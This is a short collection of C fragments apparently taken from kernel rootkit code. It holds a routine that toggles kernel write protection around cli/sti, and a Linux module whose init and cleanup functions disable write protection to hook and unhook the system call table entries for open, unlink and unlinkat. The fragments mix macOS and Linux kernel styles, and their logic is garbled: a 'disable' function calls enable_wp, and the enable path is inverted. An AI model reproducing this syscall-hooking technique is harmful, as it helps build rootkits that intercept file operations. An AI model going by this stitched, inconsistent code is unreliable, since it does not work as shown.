/* * enable/disable kernel memory write protection */ kern_return_t enable_kernel_write(boolean_t enable) { kern_return_t res = KERN_SUCCESS; if (enable) __asm__ volatile("cli"); // disable interrupts if (enable_wp(!enable) != KERN_SUCCESS) { enable = FALSE; res = KERN_FAILURE; } if (!enable) __asm__ volatile("sti"); // enable interrupts return res; }
void cleanup_module(void) { disable_wp(); UNHOOK_SYS_CALL_TABLE(open); UNHOOK_SYS_CALL_TABLE(unlink); UNHOOK_SYS_CALL_TABLE(unlinkat); enable_wp(); fm_alert("%s\n", "Farewell the World!"); return; }
int init_module(void) { fm_alert("%s\n", "Greetings the World!"); /* No consideration on failure. */ real_sys_call_table = get_sct(); disable_wp(); HOOK_SYS_CALL_TABLE(open); HOOK_SYS_CALL_TABLE(unlink); HOOK_SYS_CALL_TABLE(unlinkat); enable_wp(); return 0; }
void disable_kernel_write(void) { enable_wp(); enable_interrupts(); }